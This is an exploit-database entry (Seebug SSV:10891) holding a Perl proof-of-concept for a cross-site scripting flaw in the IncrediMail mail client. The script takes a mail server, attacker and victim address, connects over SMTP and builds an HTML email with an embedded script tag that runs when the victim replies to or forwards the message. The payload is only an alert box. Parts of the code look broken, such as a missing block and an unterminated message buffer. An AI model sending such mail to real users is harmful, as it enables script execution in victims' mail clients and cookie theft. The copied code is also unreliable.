IncrediMail 5.86 (XSS) Script Execution Exploit

ID SSV:10891
Type seebug
Reporter Root
Modified 2009-03-25T00:00:00


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                                                #!/usr/bin/perl -w

# IncrediMail Xe (latest version) XSS Vulnerability 
# Discovered by :	Bui Quang Minh
# Description	:	The most of popular Mail Client now exclude Script Code for mail content. 
#					It aims to avoid the type of XSS exploitation (For e.g: stolen cookie).
#					IncrediMail also remove Script Code when the user read mail. 
#					However, I found the \"Reply\" and \"Forward\" function of the mail client 
#					has not handled mail content well resulting in XSS vulnerability.
# My Blog	:	

use Net::SMTP;

# ARGV Check
if ($#ARGV != 2) 
	print \"\\nUSAGE: <Mail Server> <Attacker Email> <VicTim Email>\\n\";

$host = $ARGV[0];
$attacker = $ARGV[1];
$victim = $ARGV[2];

# Config SMTP
$smtp = Net::SMTP->new(	Host => $host,
						Hello => \'Hello world\',
						Timeout => 30)
or die \"Couldn\'t connect to Mail Server\\n\";

# Attacker and Victim email

# Send email
$buffer = \"From: XSS Vulnerability\\n\".
\"To: XSS Vulnerability\\n\".
\"Subject: XSS Vulnerability\\n\".
\"MIME-Version: 1.0\\n\".
\"Content-Type: multipart/mixed;\\n\".
\"    boundary=\\\"--=45145578442838848853975045745715171602582966277178406402638054315034128543847104614337851625097187549984363453814450535441019\\\"\\n\\n\".
\"Content-Type: text/html;\\n\".
\"	charset=\\\"utf-8\\\"\\n\".
\"Content-Transfer-Encoding: quoted-printable\\n\\n\".
\"Reply or Sender for XSS Vulnerability\\n\".
\"<!DOCTYPE HTML PUBLIC \\\"-//W3C//DTD HTML 4.0 Transitional//EN\\\">\\n\".
\"<script> alert(\'XSS Vulnerability\') </script>\\n\".


print \"Send Finish.\\n\";